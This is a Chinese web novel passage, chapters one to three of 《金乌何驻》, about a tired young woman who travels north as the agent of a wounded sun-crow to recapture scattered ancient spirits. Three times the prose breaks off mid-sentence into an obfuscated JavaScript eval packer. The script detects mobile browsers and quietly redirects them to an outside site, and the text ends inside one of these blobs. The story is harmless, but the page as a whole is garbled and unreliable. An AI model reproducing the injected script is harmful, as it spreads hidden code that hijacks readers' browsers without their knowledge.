《金乌何驻》 1. 归乡篇·一 “身份证出示一下。”绿皮火车停在轨道上，等待又一次鸣笛，车厢门口的列车员低着头，核对着手里的证件，确认无误后，便将身份证交还给候车的乘客，待乘客接过身份证，提着行李走入车厢，下一个乘客就得替上来。 一张身份证被递到手旁，列车员接过，扫了眼证件名字：王何驻。他挪开右手大拇指，看了下证件照，是个年轻女孩，剪了短发，戴着眼镜，双眼无神，扯着嘴角作出开朗姿态，却似乎有所顾忌，笑容弧度并不自然。当他把视线从手上的身份证转移到身前这个年轻的姑娘时，被证件主人过于苍白的脸和深重的黑眼圈吓了一跳，她穿着一件羽绒外套，也许是赶车太急，并没有拉上拉链，露出里面的毛衣，是沉闷的深蓝色针织，阔腿裤下是一双粘了泥的圆头球鞋，黑色的双肩包背在她身后，包上挂了三只颜色跳脱的鸟型玩偶，为这身老气的打扮添了一丝朝气，半人高的行李箱放在她身旁。明明才二十出头，却木着脸，仿佛全天下的糟糕事都压在她的肩上，不像归乡，不像寻友，不像旅游，像是被拖来上学或者工作的。列车员又瞄了眼证件照，这张照片或许是早几年拍的，虽然可以看出证件上的人与她是同一人，但照片中那笑容拧巴的姑娘并没有眼前人这样疲惫、病态。 “新年快乐，祝你旅途愉快！”列车员将身份证还给王何驻，道出祝福，虽说只是基本礼仪规范，但他确实希望这个看上去过于憔悴的人能够获得一个轻松快乐的旅程。 “谢谢。”王何驻对这种陌生人的善意有些局促，但还是回了个不熟练的笑。她把身份证塞口袋，然后拎着行李走进车厢，却突然止住了步伐。 她的外套拉链卡在了车厢的某个零件上。看到后头等着上车的乘客因着这小意外都在看她，她为意外占据车厢入口的事感到抱歉，尝试扯了下衣服，没能成功脱身，便又放下行李拉杆，双手一起握住衣摆，一用力，拉头从拉链齿扣脱落，掉到了铁轨上，而她的胳膊肘在使劲过程中，碰上了拉杆，行李箱底轮滑动，正撞上蹲在地上塞行李的乘客，那游客惊出了句国粹，王何驻小声道了歉。 绿皮火车不通风，内部气味很重，方便面的味道和头油味、汗味等混在一起，压出了又闷又热的环境。座位安排和高中生的课表差不多满当，下铺贴着车厢底，上铺挨着车厢顶，王何驻的床位在中铺，即使上下铺都极力出让空间了，中铺也极为逼仄。当她好不容易找到自己的床位时，脱下坏了拉链的外套，和背包一起扔到床上，人却没上去，只打开折叠椅，坐在过道另一侧靠窗的桌子旁，就着桌下的插座给手机充上了电。 火车不知是何时启动的，王何驻刷了会手机，群发了新年祝福，开始发呆。 隔壁间两个成男男子正坐在下铺谈天说地，其中一个男子身边坐着个小孩，拉着他的胳膊，念叨着“爸爸我要玩手机”，男子不管他，只笑着和对面的人说话。 “诶，要我说，这球踢不好，是选拔出了问题，不该去体校，该去行政那选，那里的人惯会踢球……对了，你是做什么的？”这位带孩子的男子四指并拢，合成掌状，往下一挥，拍在大腿上，好像说书人敲下他的惊堂木，预备开始他的演说。 “我搞后勤管理的，也是混口饭吃。” “咳咳，其实能上行政，也挺不容易的，搞后勤行政，需要大智慧……”男子有些尴尬，手在大腿上无措地摩挲了两下，演说的兴致失了一半，他转头对孩子喝道，“手机在你妈那。你不许玩手机，天天就知道玩手机，玩手机，老玩手机像什么样子。” “那我要听故事，听故事！”孩子并不沮丧，换了诉求，带着撒娇的口吻，摇晃着父亲的手臂。 “故事？这辆火车上有个吃人妖怪，绿色皮肤，三个头，头上有角，像牛，叫声像老虎，专吃不听话的小孩，要是看到你玩手机，等到晚上，趁我们不注意，就一口把你吃了！” “哇啊——妈——妈——”小孩被父亲吓到，哭着跳下床，趿拉着鞋子来到王何驻这间车厢，找他母亲。 王何驻对桌上铺睡着一个女人，鼾声如雷，小孩不敢爬梯子，只抬着头呼唤着“妈妈”，声音竟有些凄惨。 “你妈妈睡着呢，不要吵她，我给你讲故事。”王何驻靠在车窗边，冷不丁开口。如果在过去，她并不会积极社交，只是恰逢新年，便有了表达欲。 “我不听故事，我要妈妈！” “她似乎很累，让她休息一下吧。” “你不是坏人？” “我看起来有那么坏吗？”王何驻有些破防。 “不像好人。”孩子的诚实总是很伤人。 “哪里不像好人了！我感觉是个天大好人。” “眼睛。” 确实，王何驻的眼神有点空洞无神。 “你作业写多了，工作做多了，手机玩多了，眼睛也这样。” “我不要写作业，不要工作。” “这么说还是要玩手机啰？那你的眼睛也保不住。听故事对眼睛倒没什么伤害。” “要……不……我妈妈……我听你讲故事。” 孩子并未成长到识别语言表达与实际诉求关联性的思考模式，几句话就被王何驻绕进了她的思考领域，他望了眼上铺的妈妈，见她仍在睡，还是拖着两道鼻涕坐在了王何驻对面。 “很久很久以前，这个开头会不会太老套了？算了，很久很久以前，人类和怪神异兽还是生活在一起的。太阳由金乌——就是乌鸦或者乌鸫样子的鸟——驮载着，从汤谷的扶桑，飞到虞渊的若木，两棵树间飞一趟，便是一日。” “这也太辛苦了，太阳那么大。”孩子插嘴道。 “其实也还好，这样的鸟有十只，做一休九轮班制，背负生活的人类也不会比他们更轻松。据说开始是这样的——女娲的肠子分化出具有超越人类的伟力，它们具有最初的模糊混沌之形，有点像灵魂，人们崇拜强大而未知的力量，于是为伟力赋予形体与神格。 神格既定，神灵便游走于世间。强者可塑河山，换日月，次之可兴风布雨，或涸河干海，力微者亦有奔驰千里，体察万象的能力。无神格而有形体，只是异兽，很多异兽是吃人妖怪。 拔地而起的巨树和高山连接了人与神的世界，巫觋们通过攀援建木，探访昆仑，往来于天地之间，传递神与人的讯息。 神并不总是居住在天上，他们与人、兽共享山海，黄帝与蚩尤作战时，亦有神或兽施以援手。 人们尊敬神、畏惧神，崇拜神，神从这些思绪中获得力量，祂们用各种形式进行交易，有人献上祭品，神便解答她的问题，或者帮助她摆平某件事。 人并不总是依赖神明解决问题的，有巢氏筑屋，燧人氏取火，伏羲氏结网，虽说后世的很多传说将他们神化，但其实都是致力于问题解决的人。 渔猎耕种的器物被发明，人们不必万事皆求诸于神，而是通过智慧与劳动建立了属于自己的社会秩序。民众的尊重、崇拜、畏惧，以及美玉佳肴，同样诱惑着人类首领，他们从神的手中截取了这些东西，并且希望获得更多。 神对此感到不满，祂们用奇迹教化人，也用惩罚震慑人。 名为颛顼的首领，击败了与他争权的共工后，成为新的人类领袖。他无视神灵的恩与威，下令砍断通天神树，将扶桑与若木埋入土丘，杀死反对他的巫，向神宣战。 自此，十日并出，炙烤大地，妖兽作乱，吞噬生灵，羿射九日，诛六凶兽，仅剩的金乌逃到了大壑。 神卷起洪水，驱赶骇浪吞噬人类、牲畜、房屋与土地，鲧窃息壤，禹杀相柳，摆平了灾厄。后来陆陆续续的对抗中，人类的崇拜、尊敬与畏惧不再像最初那样，尽数交予神明。 人类领袖站到了神明旧居所在的山巅，宣告新的秩序与祭祀“神”的规则，这些“神”更像新造出来、以分散旧日神灵权柄的符号。 留在尘世的神灵，因通天路被斩断，再回不到天上。丧失了信仰的神，神力衰弱，几乎要维持不住形体，神格支持他们存在，然而时间流逝，人们对他们的记忆被篡改、遗忘，祂们或许终有一日消亡此间。 有神负隅顽抗，退化为兽，伤人性命。 有神寻昆仑，下九幽，死道中。 有神试图融入人群，却因神格锁定的特质为人带去了灾祸，不被接纳，就在尘世流浪彷徨，如此千年。 再后来，神明异兽们终于与一位人类统治者达成了协议。这位仁爱的统治者派出名为椿的巫女，让她带着建木的枝条，扶桑的果实，与一只鸡，乘着葫芦制成的舟出海，行至大壑。 大壑是水的归处，无数船只在那迷失。她将扶桑之实丢进大壑，在葫芦舟上的鸡鸣声中，海水凝成大鱼，大鱼吞下神木果实，然后，他腾跃至空中，鳍化为翅，鳞化为羽，成了巨鸟。 巨鸟扇动翅膀，倏忽间狂风大作，掀起海浪，竟将多年前误入大壑的捕鱼小船卷了出来，小船上的人已是须发皆白，他向神鸟致谢。 这只新生的神鸟是金乌所化。椿传达了王的旨意，与神鸟立约，由神鸟吞噬山海间所有神灵与异兽的魂魄，去往’无何有之乡‘。” “那是什么地方？坐火车可以去到吗？” “另一个世界，或许是一片荒芜，我也不知道它在哪，应该是不能随便出入的，火车大概不行吧。” “那高铁呢？轮船呢？飞机呢？都去不了吗？” 王何驻想了一会，说了句“都不行”，然后喝了口水，继续她的故事。 “神鸟振翅而飞，扶风直上。他口衔建木枝，一画开天，将天幕撕开裂缝，神明与精怪异兽在它腹中，与他一同飞往‘无何有之乡’。 至此，人类放逐了上古神明。也就是说，从此再也没有神灵、异兽了。” “那那个老人呢？他去了哪？”孩子忍不住发问。 “哪个老人？” “乘着小船从大壑出来那个。” “哦，我都差点忘了。椿把他载上葫芦，带他回到了岸上，只是他离开太久、回到家乡后，已经没几人人认识他了。我说那么多，你只关心他吗？”王何驻看了眼手机，发现电满了，她弓腰探到桌下，取下充电器，然后起身问到，“你觉得这个故事怎么样？” “我听不懂，人太多，而且太长了。但我觉得那个老人好可怜，好不容易回家了，却没人记得他。” “确实。”王何驻有点挫败，也许跟小孩子讲故事，应该做出点符合孩子理解能力的改动的，不过她一开始长篇大论，就是这种说话风格。她总是沉浸在自己的叙事中。 “所以没有神明，也没有吃人妖怪了？” “对。你可以不用害怕任何神明或者妖怪的传说，那都是大人编出来吓唬小孩的。我要去趟厕所，再见。” 当王何驻从厕所回到车厢，孩子已经坐回了父亲身旁。他的父亲依旧对着他对面的男人滔滔不绝。 “我老太爷离开家的时候，去祖坟那折了枝山杏。 路上遇到土匪抢劫，把好东西都抢走了，就给他留了那个破木枝，上面的果子又苦又涩，还麻嘴，吃了就拉，土匪不稀罕。他没东西吃，就吃杏肉，终于过了山海关。 到了东北，他找了块地，把剩下的山杏核埋进土里，结果三四年后，那山杏居然生了根，长出了树苗，我祖太爷就在那住下不走了。 我离开家，南下闯荡的时候，那棵树还开着花。” “这真也是奇。我祖上山东的，被日本人骗去东北挖铁路，走的时候，什么也没带。他在那遇到了喜欢的姑娘，就不想着逃了，后来还参军，打跑了日本人。我现在又去了山东读书，买了房在那里。” “哈哈，我们总这样，早知道后辈要回来，祖辈当初又为何离开。人就是这样，一遍遍折腾，来来回回跑……去我们院搞行政的那里办事，一个材料都要跑来跑去开，跑好几趟，尽折腾。” 王何驻听着，猜测他们在说“闯关东”的事。这在历史上是个规模庞大的迁徙，自然灾害、战乱、地主等等吞噬了农民们原有的土地，清政府为了对抗北方俄国的威胁，解除了这片原本被封锁的“龙兴之地”的禁令。许多人告别了故土，怀揣着对黑土与黄金的渴望，向北走出了一条生路。 她看了眼窗外，是覆雪的荒原，枯树就立在荒原上，像无数插在雪里的担杖。火车在铁道上缓缓前行，与曾经开拓荒野的人一般，穿越风与雪。 她脱了鞋，借助焊在厢壁上的梯子，手脚并用爬到床位，躺平了，闭上眼，回忆着出发前的事。 “退一万步讲，你真的没有任何能提高我存活率或者战斗力的法宝了吗？我会觉得我最好能有些个‘金手指’。”王何驻一边往背包里放行李，一边发问。 “没有，我已经祝福过你了，你现在是无敌的，快出发吧！”回答她的是一只怪鸟，体型和家猫差不多大，像极了乌鸦，通体黢黑。当然，如果你直接说他黑，他会不高兴，非要追着你说，那是传说中五彩斑斓的黑。 “你那祝福，害我一直倒霉。宝刀啊神剑啊，都没有吗？那可是上古传说，我就一个普通人，我拿什么打，靠嘴炮吗？靠信念吗？”王何驻转过头，有点生气地盯着这只怪鸟，怪鸟一只脚站在鸟架上，一只脚像鹦鹉那样，抓着苹果脆片在啃，一只脚在挠头。祂有三只脚。 “管制刀具也不让带上火车啊，活禽也不行。我倒想跟你去，如你所见，我伤得厉害，飞不了太远。”怪鸟歪头咬了一口苹果片，象征性地张开翅膀，给她展示那翅膀上的可怖伤痕。 “你应该给我更多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438714|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信息的，只说个大概地理位置算什么，我现在一头雾水，都不知道要怎么办。”王何驻从冰箱里取出一瓶矿泉水，插到了背包的侧边网袋，然后用力关上冰箱门。 怪鸟睨了她一眼，说道：“我要是知道更多信息，我肯定告诉你。但我现在在这里，只能感知到有东西在那地方，不知道是什么。时间过去太久了，他们如今的模样和能力，甚至名字，都可能发生变化。好了，你快出发吧，赶火车可要来不及了。” “我就这么走了？万一我遭遇不测，伤了死了怎么办？”王何驻走出门，又忍不住回头对着怪鸟问道。 “不用担心，我可以换个人来做这事。这个使命是一定会完成的。它已经与我的神格融合在了一起。我会再度带走他们，飞往异乡的天空。” “我不是关心你的使命，我是说我怎么办。” 怪鸟，或者说，神鸟，扇了下翅膀，一道风替他合上了门，将王何驻关在外面。 门外响起一阵激烈的敲门声。 神鸟叹了口气，淡淡道：“吾已看过汝之命途，汝会平安归来的。快去吧，再不去火车都要开了。” 敲门声更加急切，带着难以克制的怒意，王何驻的喊声从门外传来： “我外套和钥匙落里头了啊！你个白痴！” 拿上外套和钥匙后，王何驻冲向电梯，却发现电梯正在维修，不得已，提起行李，小跑下了七楼。 王何驻对孩子讲的的故事其实没完，故事确实本该截止在金乌践行神与人的约定，带着旧日的神兽生灵，在没有时间的异乡中遨游，不知去处，不知归处。 只是这个世界迎来了变革，技术的发展让人们对既有秩序产生了犹疑，人们的眼光又开始抽离人类本身，像上古人类那样，去观察思考人与外力的关系，“无何有之乡”与现实世界的隔阂变得稀薄。 二战时期，当杀伤力极大的热兵器飞过原本宁静的苍穹，竟穿越了两个世界的壁垒，将正在满天星辰中孤独飞翔的金乌击落，掉在了他曾经居住的这方世界。 王何驻家里那个欠揍的神鸟就是金乌。他昏迷了很多很多年，原本藏于腹中的、属于旧日神灵异兽的魂魄竟然全被热武器轰得头晕目眩的金乌不受控制地吐了出来。 当王何驻出于一时好心，将这只可怜的鸟带回家的时候，也没想过之后的发展，她竟与金乌做了交易，成了金乌的代行者，替他捉回四散在广袤大地的魂魄。 王何驻回忆此事的时候，总觉得不可思议，她有一瞬间觉得自己会是一本书的主角，可她确实普通，父母皆是工薪阶级，自己多年来勤学苦练也只学会了做题，没有任何传奇人物该有的特质，一个普通成年男子或者体格强壮的女子能够轻而易举地将她撂倒，超能力更是不存在的，甚至在遇到金乌前，她是无神论者。 王何驻并非不善言辞，却总是离群索居。她所有的社交账号几乎都是一个动态也没发过的游客状态，尽管她很频繁地通过这些渠道搜集信息。她没有谈过恋爱，她对这些事毫无兴趣。她的朋友只手可数，都是上学过程中结识的女性，所幸关系都还不错，只是交流并不频繁。她离开父母，只身前往北京求学，却不愿意住校，只在校外租了所破旧的公寓，一个人潦草地生活。 她没有赶走这只傲慢刻薄还老是摆架子的金乌，也许因为总是觉得孤独。孤独这种感觉，你可能会因为你所选择的生活方式习惯它，甚至与坐立不安地呆在人群中相比，你会更爱一个人呆着，但是当你在某一个时刻，比如午睡醒来望向窗外天空的时候，心脏还是会被突然的空虚感攫住，陷入一阵子说不清的低落中，这种低落会将你带入更混乱的情绪漩涡中，引导你产生糟糕的想法。 王何驻不会因为外界对她形单影只、来去匆匆的生活方式的非议而犹疑，但她确实偶尔也会为突然涌上来的孤寂感到迷茫。她听了金乌的故事——就是她刚刚为孩子讲述的故事后——留下了金乌。 她觉得他也同样孤独。 当然，她刚讲述的那个故事，还是结合她自己的理解，作了些改编，以喜欢的叙述方式道出的。如果换作金乌来讲，他能用不重复的刻薄话把里面的人物从头到尾都阴阳怪气一遍，这个被攻击的对象里也包括他自己。 “列车运行前方即将到达山海关车站”。当这声播响起，火车上的乘客交流声多了起来，大家都显得更亢奋了，纷纷计算自己还有多久就能回到老家。 曾经的山海关外是怀揣着拓荒热血的先祖的异乡，现在的山海关外是住着血脉相连的亲人的故乡。 王何驻不是本地人，此番到来只为代行使命，没有车厢内多数乘客的情绪，却也理解这种兴奋。离此行的目的还有一段时间，车厢内又过于嘈杂，难以入睡，她坐起来，从背包里掏出一卷绢帛，一本夹着支黑色水笔的笔记本，和一册《山海经》。 《山海经》刚买来不久，书皮崭新，绢帛是金乌塞给她的，金乌得意地声称这是最早的那批复制品，和原版“山海生灵图”几乎没什么区别。持有初版帛书那位说什么也不愿意把自己的藏品交予金乌，当然，这是另一个故事。 王何驻展开绢帛，也就是所谓的“山海生灵图（复制版）”，这是一张上古时期的地理志，没有文字，只绘制着山川河流、珍木奇卉、神灵异兽，比现代测绘技术制作的地图更抽象些。她将绢帛放在大腿上，翻着书，在笔记本上写写画画。她需要对这趟旅途提前做好准备。 当绿皮车停在此行的目的地时，是清晨五点左右。列车开门后，王何驻背着包，拉着行李箱，被其他乘客挤了下来。刺骨的寒意笼罩了室外的行人，她看了眼手机，零下二十一度。她从未来过这样冷的地方。出门前的衣服显然不足以抵御寒风。王何驻一边搜着附近的宾馆，一边摸索着从车站出口走去。这时候马路上几乎没什么车流，非常安静，过年期间，人们可以享受睡懒觉的权力。 跟着手机卫星地图导航，王何驻来到了火车站附近的一家廉价宾馆。这是由地下室改造的宾馆，这种形式的宾馆在南方比较罕见，这里却很多。当地气候寒冷，考虑到土壤的隔热性，地下空间得到了充分利用。人们曾经用地下空间贮存蔬菜和酒，在特殊时期，它们也作为防空洞，构成城市的防御体系。冰箱的运用削弱了地下室的仓储功能，过去的殖民者也被驱逐，这些空间一度被闲置。后来这座城市利用当地的冰雪资源发展起了旅游业，大量游客涌入这座城市，更低的租金与供暖成本让地下室成为民宿老板眼中的香饽饽，过去的地下室成了承接当地旅游产业的重要载体。 宾馆老板热情地替王何驻开了门，却告知此时尚未腾出空房，要等到上午十点左右才能办理入住。王何驻把行李箱交给老板保管，背着包，确认了一下口袋里的东西，就出了门。 2. 归乡篇·二 拜占庭式建筑风格的东正教教堂屹立在这座城市的中心，墨绿色的“洋葱头”穹顶与俄式砌筑的清水红砖墙搭配和谐，金色的十字架在冬日的阳光下熠熠生辉，圆顶和尖顶的设计让白雪仅能留在建筑顶部的曲面凹陷处。王何驻按照经验，找到了这座城市的地标，也就是眼前这座漂亮的教堂，它背负着此地的历史。 只是没想到偌大广场附近，商铺竟都锁着门，没什么行人，唯有广场上的鸽子陪着王何驻溜达。此时适逢春节，人们更愿意和家人团聚，而王何驻来得确实太早了些。 她一个人在这块区域晃悠，已经晃过了半个小时。由于不爱穿保暖裤之类的内搭，王何驻只着一条加绒长裤就冒然来到这座城市，手套和帽子都忘了戴，她感觉寒风在替她抽自己耳光。肚子饿得厉害，手机电量在极寒室温下掉得飞快，她走得有些绝望。 当王何驻七拐八拐走街串巷时候，在整排大门紧闭的门店中，找到了一家24小时营业的药店。 室外气温实在太冷了，她硬着头皮走进去避寒。 药店主人是个中年妇人，冷漠地打量着这位形迹可疑的客人，开口问道，“你要买什么？” 王何驻有些尴尬，想了想，犹豫着说：“……感冒药……还有……消炎药。” 中年妇人手脚麻利地取出了两盒药，王何驻稀里糊涂地付了钱，然后在中年妇人审视的目光里，逃也似的离开了。 蹭暖气的计划失败了，还花了不必要的钱。 又寻了二十分钟，王何驻终于来到当地特色的露天早市。城市快节奏的生活让人们鲜少坐下来品尝早餐，对很多城里生活的人来说，夜晚的时间才更多属于自己，因此，各地的早市并不如夜市普及。但这里却有早市，或许因为这里的人们愿意享受清晨的阳光。 商贩们推着推车聚集在街边，清晨摆摊，九点不到就会散场。氤氲的热气中是拥挤的人群，似乎此时所有在室外活动的人都聚在了这条街。与之前在教堂附近的冷清截然不同，小贩的吆喝和人们的交流为二月的寒风添了丝暖意。 王何驻在零下二十摄氏度的气温下被冻了快一个小时，没去细挑，只摘了爬满白雾的眼睛，往最近的折叠椅上坐下。这家摊子人很多，方桌拼在一起，成了长桌，桌子两侧都摆了椅子，互不相识的人们坐在一起品尝早餐。 “请问你们这都卖些什么？”王何驻拦下擦桌子的服务生，问道。 “羊肉汤，羊杂汤，包子、烧卖、馄饨，就这些。”服务生接话，却没有停下手里的活，他看起来十分年轻。 “哪种会比较好吃？” “说实话都差不多，我觉得。” “你们这烧卖有肉馅的吗？” “有的。” “那就，一份肉烧卖，然后，羊肉汤和羊杂汤，哪个会更好吃一些？” “这俩汤都挺难吃的。”服务员的回答简单直白。 这个回答激发了王何驻骨子里的叛逆特质与较真劲儿，她是实践派，致力于问题的解决，而且低温可能确实影响了她的大脑运作功能，她对服务员说，“那我要一份肉烧卖，一份羊肉汤，一份羊杂汤。” “羊肉汤和羊杂汤都要吗？”这下轮到了服务员惊讶。 “对的，你都端来吧，我亲自尝尝。” 当王何驻用米黄色的一次性塑料勺往两碗汤里各自盛了一勺品尝后，忍不住感慨服务员的正直诚实，确实很难喝，而且难喝的程度不相上下。 当然，肉烧卖也难吃。 吃完早餐，王何驻离了桌，入了街，用高度近视的眼打量着集市的货品。冻梨、冻柿子裹着白霜，粘豆包、油炸糕冒着热气，卖人参的摊子前，人通常不多，卖花帽子的被许多外地游客围着，只是试戴拍照的多，掏钱买下的少。 她在一处小摊前停下。吸引她的不是商品本身，而是商品的价格。其他摊子一根红肠卖十元，这家居然只要八元。她想不到不买一根尝尝的理由。其实这种烤肠并不好吃，有点咸，辣椒末放得久了，沁出了涩味，只是一想到这根红肠比别家摊卖的便宜了两元，王何驻又十分满意了。 逛了会早市，商铺也陆续开了门，王何驻又购入了些必要的保暖物品，确认了下口袋里的东西，便回去办理入住。 回到宾馆，领了钥匙，进入房间，锁上门，用行李箱抵住门，王何驻掏出了口袋里的东西： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438715|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一支金色的羽毛。 这羽毛从金乌身上拔下来的时候是黑色的，据金乌说，待它沾了一个地方的地气与人气，就会变成金色。 这也是王何驻大冬天在室外晃了几个钟头的缘故——金乌并不靠谱，它呆在屋中，只能估计神魂的大致方位，却无法获悉更多信息。王何驻需要带着这支羽毛，去到金乌所指方位的枢纽城市，待羽毛浸染这片土地的风土人情，便有了指引的作用。 她把羽毛裹在“山海生灵图（复制版）”里，然后念道：“叽里咕噜，叽叽咕咕，咕咕噜噜，咕噜咕噜。” 以“叽里咕噜”开头的那串东西不是抽象笼统的拟声词，而是金乌定下的咒语。王何驻对这个咒语的组成提出了质疑，并且建议金乌换成更神秘或者霸气些的词语，却被驳回了，金乌驳回的理由也非常具有说服力：懒得想。 绢帛之中，某一图绘发出了光，没等王何驻细看，便熄灭了，幸而另一图绘又发出了光。是个人面怪物，有蛇的身体。王何驻对照先前在火车上整理的笔记，圈了几个可能的姓名。流落此处的魂魄真名并不容易判断，只是图文结合的话，还是能确定大致范围的。 人面蛇身，多为山神。 随后，她拧开了矿泉水的瓶盖，将水泼在“山海生灵图（复制版）”上。绢帛之上又出现了许多黑白子，黑白子各自寻觅自己的位置，组成了“纵横十五图”。这也是金乌的杰作，它将地理博物志与算书的功能融合在了一起。 见帛书出了图，王何驻将行李箱平放，从中取出一台黑色的老式笔记本电脑，而后在电脑上打开“河洛—八卦模型”程序文件夹，将帛书显示的“纵横十五图”参数输入模型，等待程序运行。这是她自己熬了几个月的夜到处找开源，并结合自己的一点理解，缝出来的代码，自称是“为了更科学地搞玄学”。 幸好代码完整地跑了下来，没出什么Bug。看到程序计算出的详细经纬度，王何驻长舒一口气，往手机中的卫星地图输入经纬坐标。卫星地图显示现实地点为“不呼名林场—雪草村”，距离此地约五个小时的车程。 王何驻有了方向，下单了一张第二天去往不呼名林场的巴士汽车票。 3. 归乡篇·三 冰雪天往来路滑，冬日北方日落较早，出于安全考虑，开往“不呼名林场”的巴士并不多，且班次都很早。 王何驻七点左右就提溜着大包小包赶到了停车场，向导站在巴士车旁，询问王何驻需不需要买点早餐，她脚边放着一个泡沫箱，如果王何驻点头，她就会从里面掏出被塑料袋包裹的热鸡蛋之类的商品。 王何驻摇了摇头，径直走到车厢放行李，向导也不恼，只是笑着和身边的司机唠嗑：“我侄子搁早餐店打工，那店整的那些玩意儿都贼难吃，人却乌泱泱的，一个人桌子都擦不过来，现在这人都魔怔了不成？” “赶上了好时候。好时候卖什么都有人买，虎了吧唧的，不好的时候啥好东西都卖不出去。” “这事分人儿。遇上缺心眼的，大早上跟吃的较劲，一个人咔咔点两碗汤。” 很多人会觉得乘坐巴士旅行十分难受，但王何驻非常习惯这种交通工具。它们以更低的价格带着乘客翻山越岭，去往那些被大型交通工具忽视的地方。 这趟巴士的向导是个热情的人，她兴致勃勃地向乘客们介绍本地的风俗，“小蜜蜂”在腰间嗡嗡作响。 “咱们这批老铁，运气是真不赖，赶上了这里的‘雪神祭’。按这儿的规矩，神是不能直呼其名的，于是大伙儿只唤祂雪六——这可是是个心善的主儿。 早先这里的雪期没恁长，只是大伙儿进山砍木头，吵得山里兽群睡不着觉，还老踩坏树苗。百兽就去请了雪六。雪六抖一抖袖子，九月就开始飘雪，四月才停，硬生生把雪期整多出两三个月。工人进山砍树的时候，雪壳子像棉被一样厚，盖在土壤上，动静小了不少，树苗子也被雪壳子护得严严实实的。 这雪六有个朋友，也是神，只唤风二，俩神挤一座庙里头，平常就一起下棋唠嗑啃冻梨，没事整点小酒，日子过得滋润。夜里头搭伴出门巡山，遇到迷路的旅人，雪六就变个白鹿引道，风二吹走想吃人的牲畜，一起送旅人回家。 那风二是个酒蒙子，他听说南方好吃好玩的多，和雪六喝了顿酒，就去了南方，再没有回来。打那往后，雪六就一神搁这待着，成了咱们主要拜的。 雪六保佑树林、百兽和走南闯北的人，在咱们这可受稀罕。我预备了点祈愿牌、护身符，各位老铁看对眼，可以买些。过年嘛，图个吉利。当然下车也能买到，只是得花不少冤枉钱，这里也算个旅游景区，东西卖得贵。” 向导一边说着，一边从包里掏出了一堆系着红丝带的木牌。 车上乘客起了兴致，有不少掏钱买祈愿牌的。王何驻却拧着眉坐在自己的位置上，脸色有些差。她并未在《山海经》中见过“雪六”这个名字。彼时的黄河流域，降雪并非普遍的气候现象，是以中原的远古神话中，有冰霜风雨雷之神，却没有专门司雪的神。 如果这里的神职权与雪有关，是否会是北方神禺强？只是帛书指出的图绘并非饵蛇践蛇模样，倒像个山神。 按照向导故事提供的特征，雪六风二或许是滕六巽二的变型。滕六信仰初现于唐宋时期的文学创作中，明清时期得到立祠供奉，祭祀比较零星，规模不如龙王、土地、城隍。此地信仰多为“出马仙”，尊动物为仙家，关于山或者雪的原生信仰应该是白那恰或者尼莫妈妈，滕六崇拜，大抵是河北、山东“闯关东”而来的移民带来的。只是这信仰从诞生到发展，应在金乌飞向“无何有之乡”之后，不该在回收之列。也不知此地的神魂是怎样的情况。 “大家伙儿都支棱一下啊，咱们要进入‘不呼名林场’了，进里头后有些老铁的手机可能会没信号。待会儿会在休息站停一车，趁着手机还有两格信号，赶紧换点零钱啊，再买点吃的用的。这旮旯的纯肉肠儿可新鲜。”导游的声音打断了王何驻的思考。 王何驻带上连着充电宝的手机，跟着乘客们下了车，环顾四周。周围都是低矮的平房，红砖砌成，简约朴素。歪歪斜斜的木栅栏划分着不同住宅的边界。此时正下着小雪，积雪包裹着这片区域，周遭十分安静，只有游客制造的一点声响。地上的雪被铲得干净，只是有些薄冰。 没走两步，王何驻脚底打滑，四仰八叉躺在了地上，严严实实摔了一跤。这一跤摔得不轻，王何驻缓了好一会儿，试图自己爬起来，却没成功。一位扎着双马尾的年轻女孩见她摔了，过来搭了把手，将她扶了起来。王何驻向她道了谢，低头查看手机，手机没事，连着手机的充电线的接口被这么一摔，硬生生折断了。 王何驻盯着脚下，一步一步小心翼翼地把自己挪进休息站，却被告知这里并不贩卖苹果充电线。她有点绝望。看来得去村子里看看情况。 总感觉有一道视线在打量自己，王何驻环顾了一周，发现刚扶起她的女孩儿在不远处担忧地看着她，于是她买了两根纯肉肠，向女孩儿走去，给了她一根，对刚刚的事表达感谢。 女孩儿犹豫了一下，还是接过了纯肉肠。 王何驻向她说明了充电线折断的情况，并且询问是否能借她的充电线一用，女孩儿摇了摇头，表示自己用的type-c接口，与王何驻的苹果机并不适配。 “其实也没什么大不了的，苹果手机在里头，信号差，也不能用。对了，你的手机卡，是哪家公司的？” “电信的。” “那更没用了，电信在里头根本没有信号。你来这里旅游，没有提前做攻略吗？” 王何驻尴尬地表示自己并非按照计划出游，只是临时起意，来这里看看。 “我还以为你也是冲着这里的怪谈来的。” “什么怪谈？”王何驻有些惊讶。 “就是说，每年来这里参加’雪神祭‘的游客，都会失踪几个。”女孩儿故意压低了声音。 女孩儿名叫陈璐仁，是个在读大学生，平时喜欢灵异故事，被论坛上的怪谈帖子吸引，和男朋友一块儿来这里探险。 “那警察怎么说？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 